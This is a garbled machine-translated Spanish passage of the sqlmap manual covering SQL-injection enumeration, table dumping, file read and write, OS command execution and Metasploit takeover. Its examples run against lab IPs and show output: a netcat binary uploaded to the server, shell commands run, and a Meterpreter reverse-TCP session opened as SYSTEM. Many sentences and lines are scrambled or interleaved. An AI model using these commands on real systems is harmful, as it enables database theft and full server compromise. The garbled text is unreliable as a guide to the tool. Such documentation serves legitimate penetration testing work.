Esta característica se ha implementado para todos los DBMS en los que es
posible enumerar los hashes de contraseñas de los usuarios, incluyendo Oracle y
Microsoft SQL Server pre y post-2005.
También puede proporcionar la opción -U para especificar el usuario específico
que desea enumerar y finalmente romper el hash de la contraseña (s). Si
proporciona CU como nombre de usuario que lo considerará como un alias para el
usuario actual y recuperará el hash de la contraseña (es) de este anuncio.

privilegios
gestión de usuarios
de bases en la lista de sistemas de
de datos
Cambiar: --privileges
Cuando el usuario de la sesión tiene acceso de lectura a la tabla de sistema que
contiene información sobre los usuarios DBMS, es posible enumerar los privilegios
de cada usuario del sistema de gestión de base de datos. Por los privilegios,
sqlmap también le que son administradores de bases de mostrar.
También puede proporcionar la opción -U para especificar el usuario que desea
enumerar los privilegios.
Si proporciona CU como nombre de usuario que lo considerará como un alias para
el usuario actual y enumerará los privilegios de este anuncio.
En Microsoft SQL Server, esta función mostrará que si cada usuario es un
administrador de base de datos en lugar de la lista de privilegios para todos los
usuarios.

roles de usuarios en la lista de sistemas de gestión


de bases de datos
Cambiar: --roles
Cuando el usuario de la sesión tiene acceso de lectura a la tabla de sistema que
contiene información sobre los usuarios DBMS, es posible enumerar las funciones
para cada usuario del sistema de gestión de base de datos.
También puede proporcionar la opción -U para especificar el usuario que desea
enumerar los privilegios.
Si proporciona CU como nombre de usuario que lo considerará como un alias para
el usuario actual y enumerará los privilegios de este anuncio.
Esta función sólo está disponible cuando el DBMS es Oracle.

Lista de las bases de datos del sistema de gestión


de base de datos
Cambiar: --dbs
Cuando el usuario de la sesión tiene acceso de lectura a la tabla de sistema que
contiene información acerca de las bases de datos disponibles, es posible
enumerar la lista de bases de datos.

Enumerar las tablas de la base de datos


Interruptores y de opción: --tables , --exclude-sysdbs y -D
Cuando el usuario de la sesión tiene acceso de lectura a la tabla de sistema que
contiene información acerca de las tablas de bases de datos ', es posible
enumerar la lista de tablas de bases de datos de un sistema específico de gestión
de base de datos.
Si usted no proporciona una base de datos específica con la opción -D , sqlmap
enumerará las tablas de bases de datos para todos los DBMS.
También puede proporcionar el interruptor --exclude-sysdbs para excluir todas las
bases de datos del sistema.
Tenga en cuenta que en Oracle tiene que proporcionar la TABLESPACE_NAME lugar del
nombre de la base de datos.

Enumerar las columnas de tabla de base de datos


Switch y opciones: --columns , -C , -T y -D
Cuando el usuario de la sesión tiene acceso de lectura a la tabla de sistema que
contiene información acerca de las tablas de base de datos, es posible enumerar
la lista de columnas de una tabla de base de datos específica. sqlmap también
enumera el tipo de datos para cada columna.

Esta función depende de la opción -T para especificar el nombre de la tabla y,


opcionalmente, en-D para especificar el nombre de la base de datos. Cuando no
se especifica el nombre de la base de datos, se utiliza el nombre de base de datos
actual. También puede proporcionar la -C opción para especificar las columnas
Nombre de la tabla como la que se ha proporcionado de estar numerado.
Ejemplo contra un objetivo SQLite:
$ Python sqlmap.py -u "http://192.168.136.131/sqlmap/sqlite/get_int.php?id=1" -
\
-Columnas -D testdb -T usuarios -C nombre
[...]
Base de datos: SQLite_masterdb
Tabla: usuarios
[3 columnas]
--------- --------- + + +
| columna | Tipo |
--------- --------- + + +
| Identificación | INTEGER |
| nombre | TEXTO |
| apellido | TEXTO |
--------- --------- + + +
Tenga en cuenta que en PostgreSQL tiene que proporcionar pública o el nombre
de una base de datos del sistema. Esto se debe a que no es posible enumerar las
tablas de otras bases de datos, sólo las tablas bajo el esquema de ese usuario de
la aplicación web está conectado a, que siempre es un alias por el público .

Enumerar la base de datos de esquema del sistema


de gestión
Interruptores: --schema y --exclude-sysdbs
El usuario puede recuperar un esquema DBMS mediante el uso de este
interruptor. Esquema
columnas, junto listado
con sus contendrá
respectivos todas
tipos. Enlas bases de datos,
combinación tablas y
con --exclude-
sysdbs sólo una parte del esquema que contiene las bases de datos no son del
sistema se recuperará y se muestra.
Ejemplo frente a un objetivo de MySQL:
$ Python sqlmap.py -u "http://192.168.48.130/ sqlmap/mysql/get_int.php?id=1" -S \
chema - lotes --exclude-sysdbs

[...]
Base de datos: owasp10
Tabla: cuentas
[4 columnas]
+ ------------- + --------- +
| columna | Tipo |
+ ------------- + --------- +
| cid | int (11) |
| mysignature | texto |
| contraseña | texto |
| username | texto |
+ ------------- + --------- +

Base de datos: owasp10


Tabla: blogs_table
[4 columnas]
+ -------------- + ---------- +
| columna | Tipo |
+ -------------- + ---------- +
| fecha | fecha y hora |
| blogger_name | texto |
| cid | int (11) |
| comentario | texto |
+ -------------- + ---------- +

Base de datos: owasp10

Tabla: hitlog
[6 columnas]
+ ---------- + ---------- +
| columna | Tipo |
+ ---------- + ---------- +
| fecha | fecha y hora |
| navegador | texto |
| cid | int (11) |
| nombre de host | texto |
| IP | texto |
| árbitro | texto |
+ ---------- + ---------- +

Base de datos: testdb


Tabla: usuarios
[3 columnas]
+ --------- + --------------- +
| columna | Tipo |
+ --------- + --------------- +
| nombre
| Identificación
| varchar| (500)
int (11)
| |
| apellido | varchar (1000) |
+ --------- + --------------- +
[...]

Recuperar número de entradas para la mesa (s)


Cambiar: --count
En caso de que el usuario sólo quiere saber el número de entradas en la tabla (s)
antes de vertido al deseado, puede usar este parámetro.
Ejemplo frente a un objetivo de Microsoft SQL Server:
$ Python sqlmap.py -u "http://192.168.21.129/sqlmap/mssql/iis/get_int.asp?id=1"
\
--count -D testdb
[...]
Base de datos: testdb
+ ---------------- + --------- +
| Tabla | entradas |
+ ---------------- + --------- +
| dbo.users | 4 |
| dbo.users_blob | 2 |
+ ---------------- + --------- +

entradas de la tabla de base de datos de volcado


Switch y opciones: --dump , -C , -T , -D , --start , --stop , --first , --last , --pivot-
columna y --donde
Cuando el usuario de la sesión tiene acceso de lectura a la tabla de una base de
datos específica, es posible volcar las entradas de la tabla.

Esta funcionalidad depende de la opción -T para especificar el nombre de la tabla


y, opcionalmente, en la opción -D para especificar el nombre de la base de
datos. Si se proporciona el nombre de la tabla, pero el nombre de la base de datos
no es, se utiliza el nombre de base de datos actual.
Ejemplo contra un objetivo Firebird:
$ Python sqlmap.py -u "http://192.168.136.131/sqlmap/firebird/get_int.php?id=1"
\
--dump usuarios -T
[...]
Base de datos: Firebird_masterdb
Tabla: USUARIOS
[4 entradas]
+ ---- + -------- + ------------ +
| Identificación | NOMBRE | APELLIDOS |
+ ---- + -------- + ------------ +
| 1 | Luther | Blisset |
| 2 | esponjoso | conejito |
| 3 | wu | ming |
| 4 | NULL | nameisnull |
+ ---- + -------- + ------------ +
Este conmutador también se puede utilizar para volcar entradas de una base de
datos proporcionada todas las tablas. Usted simplemente tiene que proporcionar
sqlmap con el interruptor --dump junto con sólo la opción -D (sin -T ni -C ).
También puede proporcionar una lista separada por comas de las columnas
específicas para volcar con la opción -C .
sqlmap también genera para cada tabla vierten las entradas en un archivo de
formato de texto CSV. Se puede ver la ruta absoluta donde sqlmap crea el archivo,
proporcionando un nivel de detalle mayor que o igual a 1 .
Si desea volcar sólo un rango de entradas, a continuación, puede proporcionar
opciones --start y / o --stop para empezar respectivamente para volcar a partir de
una cierta entrada y detener el volcado a una cierta entrada. Por ejemplo, si desea
volcar sólo la primera entrada, proporcionar --stop 1 en la línea de
comandos.
entrada, Viceversa,--start
proporcionar si, por ejemplo,
1 --stopdesea
3 . volcar sólo la segunda y tercera
También es posible especificar qué solo carácter o conjunto de caracteres para
volcar con opciones --first y --last . Por ejemplo, si desea volcar entradas
columnas 'de la tercera a la quinta carácter, proporcionar --first 3 --last 5 .
Esta característica sólo se aplica a las técnicas de inyección SQL ciegos debido a
las técnicas de inyección de consultas basadas en SQL de error y de la Unión el
número de peticiones es exactamente el mismo, independientemente de la
duración de la salida de la entrada de la columna para volcar.
A veces (por ejemplo, para Microsoft SQL Server, Sybase y SAP MaxDB) no es
posible para volcar las filas de la tabla sencilla mediante el uso de m, n
OFFSET mecanismo debido a la falta de parecido. En tales casos sqlmap vuelca el
contenido mediante la determinación de la más adecuada de pivote columna (la
que tiene la mayoría de los valores únicos) cuyos valores se utilizan más adelante
para la recuperación de otros valores de columna. Si es necesario para hacer
cumplir
es el uso(por
adecuado ejemplo,pivote
de especial debidocolumna
a la faltadebido a la elegida
de resultados automáticamente
de volcado de la tabla)no
se puede utilizar la opción --pivot-columna (por ejemplo --pivot-columna = id ).
En caso de que desee a la restricción del vertedero a los valores específicos de
las columnas (o rangos), puede utilizar la opción --donde . Operación lógica
proporcionada será utilizada de forma automática dentro del DONDE cláusula. Por
ejemplo, si se utiliza --Si llegara a ocurrir "id => 3" sólo filas de la tabla que
tienen valor de la columna ID se recuperarán mayor que 3 (anexando WHERE id>
3 a las consultas de dumping utilizados).
Como se habrán dado cuenta por ahora, sqlmap es flexibles : se puede dejar a
volcar de forma automática toda la tabla de base de datos o puede ser muy
preciso en el que personajes a volcar, a partir del cual las columnas y qué rango
de entradas.

Volcar todas las entradas de bases de datos de las


tablas
Interruptores: --dump-todos y --exclude-sysdbs
Es posible volcar todas las entradas de bases de datos mesas a la vez que el
usuario de la sesión tiene acceso de lectura en.
También puede proporcionar el interruptor --exclude-sysdbs para excluir todas las
bases de datos del sistema. En ese caso sólo se volcará sqlmap entradas de las
tablas de bases de datos de los usuarios.
Tenga en cuenta que en Microsoft SQL Server el maestro de base de datos no se
considera una base de datos del sistema debido a que algunos administradores de
bases utilizan como base de datos 'a los usuarios.

Búsqueda de columnas, tablas o bases de datos


Switch y opciones: --search , -C , -T , -D
Este interruptor le permite buscar nombres de bases de datos específicas,
tablas específicas a través de todas las bases de datos o columnas
específicas a través de las tablas de las bases de datos .'
Esto es útil, por ejemplo, para identificar las tablas que contienen las credenciales
de aplicación personalizados donde los nombres de las columnas relevantes
'contienen cadena como nombre ypase .
Interruptor --search necesita ser utilizado en conjunción con una de las siguientes
opciones de soporte:
 -C Siguiendo una lista de nombres de columnas separadas por comas para buscar
a través de todo el sistema de gestión de base de datos.
 -T Siguiendo una lista de nombres de tabla separados por comas para buscar a
través de todo el sistema de gestión de base de datos.

-D Siguiendo una lista de nombres de bases de datos separados por comas para
buscar a través del sistema de gestión de base de datos.

Ejecutar instrucción SQL personalizada


Opción y el interruptor: --sql-consulta y --sql-shell
La consulta SQL y las funciones de shell SQL permiten ejecutar comandos SQL
arbitrarios en el sistema de gestión de base de datos. sqlmap disecciona de forma
automática la declaración proporcionada, determina qué técnica es apropiado
utilizar para inyectar y cómo empacar la carga útil de SQL en consecuencia.
Si la consulta es un SELECT declaración, sqlmap recuperará su salida. De lo
contrario, se ejecutará la consulta a través de la técnica de inyección de consulta
SQL apilados si la aplicación web es compatible con múltiples declaraciones sobre
el sistema de gestión de base de datos back-end. Ten en cuenta que algunas
tecnologías de aplicaciones Web no admiten consultas apilados sobre los
sistemas específicos de gestión de base de datos. Por ejemplo, PHP no admite
consultas apiladas cuando el back-end DBMS es MySQL, pero lo hace de soporte
cuando el back-end DBMS es PostgreSQL.
Ejemplos contra un objetivo de Microsoft SQL Server 2000:
$ Python sqlmap.py -u "http://192.168.136.131 /sqlmap/mssql/get_int.php?id=1" - \
sql-query "SELECT" foo "" -v 1

[...]
[Hh: mm: 14] [INFO] ir a buscar salida de la consulta SQL SELECT: 'SELECT' foo
''
[Hh: mm: 14] [INFO] recuperado: foo
SELECT 'foo': 'foo'

$ Python sqlmap.py -u "http://192.168.136.131 /sqlmap/mssql/get_int.php?id=1" - \


sql-query "SELECT 'foo', 'bar'" -v 2

[...]
[Hh: mm: 50] [INFO] ir a buscar salida de la consulta SQL SELECT: 'SELECT' foo
',' bar ''
[Hh: mm: 50] [INFO] la consulta SQL proporcionada tiene más de un campo. sqlmap
ahora
descomprimirlo en distintas consulta s para poder recuperar la salida incluso si
estamos
quedando ciego
[Hh: mm: 50] [DEBUG] consulta: SELECT ISNULL (CAST ((CHAR (102) + CHAR (111) +
CHAR (111)) AS
VARCHAR (8000)), (CHAR (32)))
[Hh: mm: 50] [INFO] recuperado: foo
[Hh: mm: 50] [DEBUG] realizó 27 consultas en 0 segundos
[Hh: mm: 50] [DEBUG] consulta: SELECT ISNULL (CAST ((CHAR (98) + CHAR (97) +
CHAR (114)) COMO VA
RCHAR (8000)), (CHAR (32)))
[Hh: mm: 50] [INFO] recuperado: Barra

[Hh:
SELECTmm: 50] [DEBUG]
'foo', realizó
'bar': 'foo, 27 consultas en 0 segundos
bar'
Como se puede ver, sqlmap divide la consulta proporcionada en dos
diferentes SELECT declaraciones luego recupera la salida para cada consulta
independiente.
Si la consulta se proporciona un SELECT declaración y contiene una DESDE cláusula,
sqlmap le preguntará si dicha declaración puede devolver múltiples entradas. En
ese caso, la herramienta sabe cómo desembalar la consulta correctamente para
contar el número de entradas posibles y recuperar su salida, entrada por entrada.
La opción del shell SQL le permite ejecutar su propia sentencia de SQL de forma
interactiva, como una consola de SQL conectado al sistema de gestión de base de
datos. Esta característica proporciona la implementación del tabulador y apoyo la
historia también.

Fuerza bruta
Estos interruptores se pueden utilizar para realizar comprobaciones de fuerza
bruta.

nombres de las tablas de fuerza bruta


Cambiar: --common mesas
Hay casos en que los interruptores --tables no se pueden utilizar para recuperar
los nombres de tabla las bases de datos. Estos casos normalmente encajan en
una de las siguientes categorías:
 El sistema de gestión de base de datos MySQL es<5,0 ,
donde INFORMATION_SCHEMA no está disponible.
 El sistema de gestión de base de datos es Microsoft Access y tabla de
sistema MSysObjects no es legible - configuración por defecto.
 El usuario de la sesión no tiene privilegios de lectura en contra de la tabla de
sistema almacenar el esquema de las bases de datos.

Si cualquiera de los dos primeros casos se aplican y se presentó el interruptor --


tables , sqlmap le pedirá con una pregunta que recurrir a esta técnica. Cualquiera
de estos casos se aplican a su situación, puede sqlmap posiblemente todavía
identificar algunas tablas existentes si se proporciona con el interruptor --common-
mesas . sqlmap llevará a cabo un ataque de fuerza bruta con el fin de detectar la
existencia de tablas comunes en todo el DBMS.
La lista de nombres de tabla comunes es txt / common-tables. txt y se puede
editar como desee.
Ejemplo 4.1 contra un objetivo MySQL:
$ Python sqlmap.py -u "http://192.168.136.129/mysql/get_int_4.php?id=1" --commo
\
n-mesas -D testdb --banner

[...]
[Hh: mm: 39] [INFO] MySQL prueba
[Hh: mm: 39] [INFO] confirmando MySQL
[Hh: mm: 40] [INFO] el back-end DBMS es MySQL
[Hh: mm: 40] [INFO] bandera ir a buscar
sistema operativo del servidor Web: Windows
La tecnología de aplicaciones web: PHP 5.3.1, 2.2.14 de Apache
sistema operativo DBMS: Windows
DBMS: MySQL <5.0.0
banner: "4.1.21-comunidad-nt '

[Hh: mm: 40] [INFO] comprobación de la existencia tabla usando artículos de '/
software / sqlmap / tx
t / common-tables.txt '
[Hh: mm: 40] [INFO] la adición de palabras que se usan en la página web a la
lista de verificación
Por favor, introduzca el número de hilos? [Enter para 1 (actual)] 8
[Hh: mm: 43] [INFO] recuperado: los usuarios

Basemesa]
[1 de datos: testdb
+ ------- +
| usuarios |
+ ------- +

El Bruto nombres de columnas de fuerza


Interruptor: --common-columnas
De acuerdo con las tablas, hay casos en los interruptores --columns no se pueden
utilizar para obtener los nombres de las columnas de las bases de datos
"cuadros". Estos casos normalmente encajan en una de las siguientes categorías:
 El sistema de gestión de base de datos MySQL es<5,0 ,
donde INFORMATION_SCHEMA no está disponible.
 El sistema de gestión de base de datos Microsoft Access es donde este tipo de
información no está disponible dentro de las tablas del sistema.

El usuario
sistema de la sesión
almacenar no tiene de
el esquema privilegios
las basesdede
lectura
datos.en contra de la tabla de
Si cualquiera de los dos primeros casos se aplican y se presentó el interruptor --
columns , sqlmap le pedirá con una pregunta que recurrir a esta técnica. Cualquiera
de estos casos se aplican a su situación, puede sqlmap posiblemente todavía
identificar algunas tablas existentes si se proporciona con el interruptor --common-
columnas . sqlmap llevará a cabo un ataque de fuerza bruta con el fin de detectar la
existencia de columnas comunes en todo el DBMS.
La lista de nombres de tabla comunes es txt / common-columns.txt y se puede
editar como desee.

inyección de la función definida por el


usuario
Estas opciones se pueden usar para crear funciones definidas por el usuario
personalizados.

Inyectar funciones definidas por el usuario


personalizados (UDF)
Switch y opción: --udf a inyectar y --shared-lib
Usted puede inyectar sus propias funciones definidas por el usuario (UDF)
mediante la compilación de una biblioteca compartida MySQL o PostgreSQL, DLL
para Windows y objetos compartidos para Linux / Unix, a continuación,
proporcionar sqlmap con la ruta en la biblioteca compartida se almacena
localmente en su equipo. sqlmap A continuación, algunas preguntas, cargar la
biblioteca compartida
crear la función en el sistema
(s) definida de archivos
por el usuario del servidor
de la misma y, en de basede
función desus
datos,
opciones, ejecutarlos. Cuando haya terminado de utilizar las UDF inyectados,
sqlmap también puede eliminarlos de la base de datos para usted.
Estas técnicas se detallan en el libro blanco de inyección SQL avanzado sistema
operativo para el control total .
Utilice la opción --udf a inyectar y siga las instrucciones.
Si lo desea, puede especificar la ruta de acceso local de la biblioteca compartida
de sistema de archivos a través de línea de comandos también mediante el uso
de --shared-lib opción.Viceversa sqlmap le preguntará por la ruta de acceso en
tiempo de ejecución.
Esta función sólo está disponible cuando el sistema de gestión de base de datos
es MySQL o PostgreSQL.

el acceso al sistema de archivos


Leer un archivo de sistema de archivos del
servidor de base de datos
Opción: --file-lee
Es posible recuperar el contenido de los archivos del sistema de archivos
subyacente cuando el sistema de gestión de base de datos back-end puede ser
MySQL, PostgreSQL o Microsoft SQL Server y el usuario de la sesión tiene los
privilegios necesarios para abusar de funcionalidades específicas de bases de
datos y los puntos débiles de arquitectura. El archivo especificado puede ser un
texto o un archivo binario. sqlmap manejará adecuadamente.
Estas técnicas se detallan en el libro blanco de inyección SQL avanzado sistema
operativo para el control total .
Ejemplo frente a un objetivo de Microsoft SQL Server 2005 para recuperar un
archivo binario:
$ Python sqlmap.py -u "http: //192.168.136.129/sqlmap/mssql/iis/get_str2.asp nam
\?
e = Luther "--file-leer " C: /example.exe "-v 1

[...]
[Hh: mm: 49] [INFO] el back-end DBMS es Microsoft SQL Server
sistema operativo del servidor Web: Windows 2000
La tecnología de aplicaciones web: ASP.NET, Microsoft IIS 6.0, ASP
DBMS de back-end: Microsoft SQL Server 2005

[Hh: mm: 50] [INFO] Extrayendo archivo: "C: /example.exe '


[Hh: mm: 50] [INFO] la consulta SQL proporciona rendimientos 3 entradas
C: archivo guardado en /example.exe:
'/software/sqlmap/output/192.168.136.129/files/
C__example.exe '
[...]

$ Ls -l / salida 192.168.136 .129 / archivos / C__example.exe


-rw-r - r-- 1 Inquis Inquis 2560 hh 2011-MM-DD: salida mm / 192.168.136.12 9 /
archivos / C_
_example.exe

$ 192.168.136.129 de escritura de ficheros / archivos / / C__example.exe


salida / 192.168.136.129 / archivos / C__example.exe: PE32 ejecutables para MS
Windows (GUI
) Intel 80386 de 32 bits

Cargar un archivo en el sistema de archivos del


servidor de base de datos
Opciones: --file-escritura y --file-dest
Es posible cargar un archivo local al sistema de archivos del servidor de base de
datos cuando el sistema de gestión de base de datos back-end puede ser MySQL,
PostgreSQL o Microsoft SQL Server y el usuario de la sesión tiene los privilegios
necesarios para abusar de funcionalidades específicas de bases de datos y los
puntos débiles de arquitectura. El archivo especificado puede ser un texto o un
archivo binario. sqlmap manejará adecuadamente.
Estas técnicas se detallan en el libro blanco de inyección SQL avanzado sistema
operativo para el control total .
Ejemplo contra un objetivo MySQL para cargar un archivo comprimido mediante
UPX-binaria:
archivo $ /software/nc.exe.packed
PE32 ejecutable para MS Windows (consola) Intel 80386 32:
/software/nc.exe.packed
-poco

$ Ls -l /software/nc.exe .packed
Inquis -rwxr-xr-x 1 Inquis 31744 hh 2009-MM-DD: mm /software/nc.ex e.packed

$ Python sqlmap.py -u "http://192.168.136.129/sqlmap/mysql/get_int.aspx?id=1" -


\
-file-escritura "/software/nc.exe.packed" --file-dest "C: /WINDOWS/Temp/nc.exe"
-v 1

[...]
[Hh: mm: 29] [INFO] el back-end DBMS es MySQL
sistema operativo del servidor Web: Windows 2003 ó 2008

La tecnología
back-end de aplicaciones
de DBMS: web: ASP.NET, Microsoft IIS 6.0,
MySQL> = 5.0.0 ASP.NET 2.0.50727

[...]
¿desea la confirmación de que el archivo 'C: /WINDOWS/Temp/nc.ex e' ha sido el
éxito
escrito completame nte en el sistema de archivos DBMS? [Y / n] y
[Hh: mm: 52] [INFO] recuperada: 31744
[Hh: mm: 52] [INFO] el archivo se ha escrito correcta mente y su tamaño es de
31744 b
ytes, mismo tamaño que el archivo local '/software/nc.exe.packed'

toma de control del sistema operativo


Ejecutar comandos arbitrarios sistema operativo
Opción y el interruptor: --os-cmd y --os-shell
Es posible ejecutar comandos arbitrarios en el sistema operativo subyacente
del servidor de base de datoscuando el sistema de gestión de base de datos
back-end puede ser MySQL, PostgreSQL o Microsoft SQL Server y el usuario de
la sesión tiene los privilegios necesarios para abusar de funcionalidades
específicas de bases de datos y los puntos débiles de arquitectura.
En MySQL y PostgreSQL, subidas sqlmap (a través de la funcionalidad de carga
de archivos se ha explicado anteriormente) una biblioteca compartida (archivo
binario) que contiene dos funciones definidas por el usuario, sys_exec () y sys_eval
() , entonces se crea estas dos funciones en la base de datos y llama a uno de
ellos para ejecutar el comando especificado, según la elección del usuario para
mostrar la salida estándar o no. En Microsoft SQL Server, abusos sqlmap
el xp_cmdshell procedimiento almacenado: si está desactivado (por defecto en
Microsoft SQL Server> = 2005), sqlmap re-habilita y si no existe, sqlmap crea
desde cero.
Cuando el usuario solicita la salida estándar, sqlmap utiliza una de las técnicas de
inyección SQL (enumeración ciego, dentro de banda o basados en error) para
recuperarlo. A la inversa, si no se requiere la salida estándar, técnica de inyección
SQL consulta apilada se utiliza para ejecutar el comando.
Estas técnicas se detallan en el libro blanco de inyección SQL avanzado sistema
operativo para el control total .
Ejemplo frente a un objetivo de PostgreSQL:
$ Python sqlmap.py -u "http://192.168.136.131 /sqlmap/pgsql/get_int.php?id=1" - \
os-cmd Identificación -v 1

[...]
La tecnología de aplicaciones web: PHP 5.2.6, 2.2.9 Apache
DBMS PostgreSQL:
[Hh: mm: 12] las huellas dactilares el sistema operativo DBMS [INFO]
[Hh: mm: 12] [INFO] el sistema DBMS de back-end operativo es Linux
[Hh: mm: 12] [INFO] prueba si el usuario actual es DBA
[Hh: mm: 12] [INFO] detección de back-end versión DBMS de su bandera
[Hh: mm: 12] Verificando 'sys_eval' ya existe [INFO] UDF
[Hh: mm: 12] comprobar si ya existe [INFO] UDF 'sys_exec'
[Hh: mm: 12] la creación del archivo UDF [INFO] UDF 'sys_eval' binario
[Hh: mm: 12] [INFO] crear UDF 'sys_exec' desde el archivo UDF binaria
¿desea recuperar la salida estándar de comandos? [Y / n / a] y
comando de salida estándar: '= 104 (postgres) gid = 106 (postgres) grupos uid =
106 (post
gres) '

[Hh: mm: 19] de limpieza hasta el sistema de gestión de base de datos [INFO]
¿desea eliminar 'sys_eval' UDF? [Y / n] y
¿desea eliminar 'sys_exec' UDF? [Y / n] y
[Hh: mm: 23] [INFO] limpieza del sistema de gestión de base de datos terminó
[Hh: mm: 23] [ADVERTENCIA] recuerde que los archivos de objetos compartidos UDF
guardan en los archivos sys
tem sólo puede ser borrado manualmente
También es posible simular una concha real en el que puede escribir tantos
comandos arbitrarios como desee. La opción es --os-shell y tiene las mismas
implementación del tabulador y la historia funcionalidades que --sql-shell tiene.
Donde las consultas apiladas no se ha identificado en la aplicación web (por
ejemplo, PHP o ASP con sistema de gestión de base de datos back-end siendo
MySQL) y el DBMS es MySQL, todavía es posible abusar de la SELECT de la
cláusula INTO OUTFILE para crear una puerta trasera web en una carpeta se puede
escribir en el directorio raíz de documentos del servidor web y aún así obtener la
ejecución de comandos asumiendo el DBMS de back-end y el servidor web están
alojados en el mismo servidor. sqlmap apoya esta técnica y permite que el usuario
proporcione una lista separada por comas de posibles raíz del documento
subcarpetas donde intenta cargar el archivo de la tela servidor de ensayo y la
posterior puerta trasera web. Además, sqlmap tiene sus propios caballos de
diligencia de archivo Web probado y puertas traseras de los siguientes idiomas:
 ÁSPID
 ASP.NET
 JSP
 PHP

Fuera de la banda de conexión con estado:


Meterpreter y amigos
Interruptores y opciones: --os-pwn , --os-SMBRelay , --os-BOF , --priv-esc , --msf en
rutas de acceso y --tmp-path
Es posible establecer una conexión TCP con estado fuera de banda entre la
máquina atacante y el servidor de base de datos del sistema operativo
subyacente cuando el sistema de gestión de base de datos back-end está bien
MySQL, PostgreSQL o Microsoft SQL Server y el usuario de la sesión se la
necesita privilegios que abusan de las funcionalidades específicas de bases de
datos y los puntos débiles de arquitectura. Este canal puede ser un símbolo del
sistema interactivo, una sesión Meterpreter o una sesión de interfaz gráfica de
usuario (VNC) a elección del usuario.
sqlmap se basa en Metasploit para crear el código shell y ejecuta cuatro técnicas
diferentes para ejecutarlo en el servidor de base de datos. Estas técnicas son:
 Base de datos de ejecución en memoria de código shell del Metasploittravés
sqlmap propia función definida por el usuariosys_bineval () . Se admite en
MySQL y PostgreSQL - cambiar--os-NMP .
 Sube y ejecución de una de Metasploitservidor de ensayo de carga útil
autónomo a través de sqlmap propia función definida por el usuariosys_exec
() de MySQL y PostgreSQL o mediantexp_cmdshell () en Microsoft SQL Server -
cambiar --os-NMP .
 Ejecución de código shell de Metasploit mediante la realización de unataque de
reflexión SMB ( MS08-068 ) con una petición de ruta UNC desde el servidor de
base de datos a la máquina del atacante donde el Metasploitsmb_relay servidor
explotar escuchas. Apoyado cuando se ejecuta sqlmap con privilegios elevados
( UID = 0 ) en Linux / Unix y el DBMS de destino se ejecuta como administrador en
Windows - cambiar --os-SMBRelay .
 Base de datos de ejecución en memoria de código shell del Metasploit mediante la
explotación de Microsoft SQL Server 2000 y
2005 sp_replwritetovarbin procedimiento almacenado desbordamiento de
búfer basado en heap ( MS09-004 ). sqlmap tiene su propio exploit para
desencadenar la vulnerabilidad con bypass automático de protección de memoria
DEP, pero depende de Metasploit para generar el código shell para ser ejecutado
en la explotación exitosa - switch--os-BOF .

Estas técnicas se detallan en el libro blanco de inyección SQL avanzado sistema


operativo para el control total y en el conjunto de diapositivas La ampliación del
control sobre el sistema operativo de la base de datos .
Ejemplo frente a un objetivo de MySQL:
$ Python sqlmap.py -u "http:? //192.168.136.129/sq lmap/mysql/iis/get_int_55.aspx
\
id = 1 "--os-pwn --msf-pa th / software / Metasploit

[...]
[Hh: mm: 31] [INFO] el back-end DBMS es MySQL
sistema operativo del servidor Web: Windows 2003
La tecnología de aplicaciones web: ASP.NET, ASP.NET 4.0.30319, Microsoft IIS 6.0
DBMS MySQL 5.0:
[Hh: mm: 31] las huellas dactilares el sistema operativo DBMS [INFO]
[Hh: mm: 31] [INFO] el sistema operativo DBMS es Windows
¿cómo se quiere establecer el túnel?
[1] TCP: Metasploit Framework (por defecto)
[2] ICMP: icmpsh - túnel ICMP
>
[Hh: mm: 32] [INFO] prueba si el usuario actual es DBA
[Hh: mm: 32] [INFO] ir a buscar usuario actual
¿cuál es la arquitectura del sistema de gestión de base de datos back-end?
[1] de 32 bits (por defecto)
[2] 64-bit
>
[Hh: mm: 33] Verificando 'sys_bineval' ya existe [INFO] UDF
[Hh: mm: 33] comprobar si ya existe [INFO] UDF 'sys_exec'
[Hh: mm: 33] [INFO] detección de back-end versión DBMS de su bandera
[Hh: mm: 33] [INFO] recuperar directorio base de MySQL ruta absoluta
[Hh: mm: 34] la creación del archivo UDF [INFO] UDF 'sys_bineval' binario
[Hh: mm: 34] [INFO] crear UDF 'sys_exec' desde el archivo UDF binaria
¿cómo quieres para ejecutar el código shell Metasploit en el und de base de
datos back-end
erlying sistema operativo?
[1] A través de UDF 'sys_bineval' (forma en la memoria, los anti-forense, por
defecto)
[2] Stand-alone servidor de ensayo de carga útil (archivo de forma de sistema)
>
[Hh: mm: 35] [INFO] la creación de Metasploit Framework código shell de etapas
múltiples
qué tipo de conexión es lo que desea utilizar?
[1] TCP inversa: Conectar de nuevo desde el host de base de datos para esta
máquina (por defecto)
[2] TCP inversa: Intente volver a conectarse desde el host de base de datos para
esta máquina, en
todos los puertos
entre el especificado y 65535
[3] enlazar TCP: Escucha en el host de base de datos para una conexión
>
que es la dirección local? [192.168.136.1]
qué número de puerto local es lo que desea utilizar? [60641]
el que la carga útil es lo que desea utilizar?
[1] Meterpreter (por defecto)
[2] Shell
[3] VNC

>
[Hh: mm: 40] [INFO] creación en el progreso hecho ...
[Hh: mm: 43] [INFO] ejecuta la interfaz de línea de comandos Metasploit
Framework localmente, p
arrendamiento de espera ..

_
| | o
_ _ _ _ _ | _ __, _ | | __ _ | _
/ | / | / | | / | / | / \ _ | / \ _ | / / \ _ | |
| | | _ / | __ / | _ / \ _ / | _ / \ / | __ / | __ / \ __ / | _ / | _ /
/ |
\ |

= [Metasploit v3.7.0-dev [core: 3.7 API: 1,0]


+ - - = [674 - 351 exploits auxiliar
+ - - = [217 cargas útiles - 27 - 8 codificadores NOPS
= [SVN r12272 actualizado hace 4 días (2011.04.07)

CARGA => ventanas / meterpreter / reverse_tcp


EXITFUNC => hilo
Lport => 60641
LHOST => 192.168.136.1
[*] Iniciado manejador inversa en 192.168.136.1:60641
[*] Inicio del controlador de carga útil ...
[Hh: mm: 48] [INFO] corriendo Metasploit Framewor k código shell remota a través
de sys_b UDF '
ineval ', por favor espere ..
[*] Envío de la etapa (749056 bytes) de 192.168.136.129
[*] Sesión Meterpreter 1 abierto (192.168.136.1:60641 -> 192.168.136.129:1689)
una
t Lun Abr 11 hh: mm: 52 0100 2011

meterpreter> Cargando extensión espia ... éxito.


meterpreter> Cargando extensión de incógnito ... éxito.
meterpreter> [-] La extensión 'priv' ya se ha cargado.
meterpreter> Cargando extensión sniffer ... éxito.
meterpreter>
SO: Idioma(Build
Windows Server del sistema: es
3790, Service Pack 2).
Ordenador: W2K3R2
Arquitectura: x86
Meterpreter: x86 / win32
meterpreter> nombre de usuario del servidor: NT AUTHORITY \ SYSTEM
meterpreter> ipconfig

MS interfaz de bucle invertido TCP
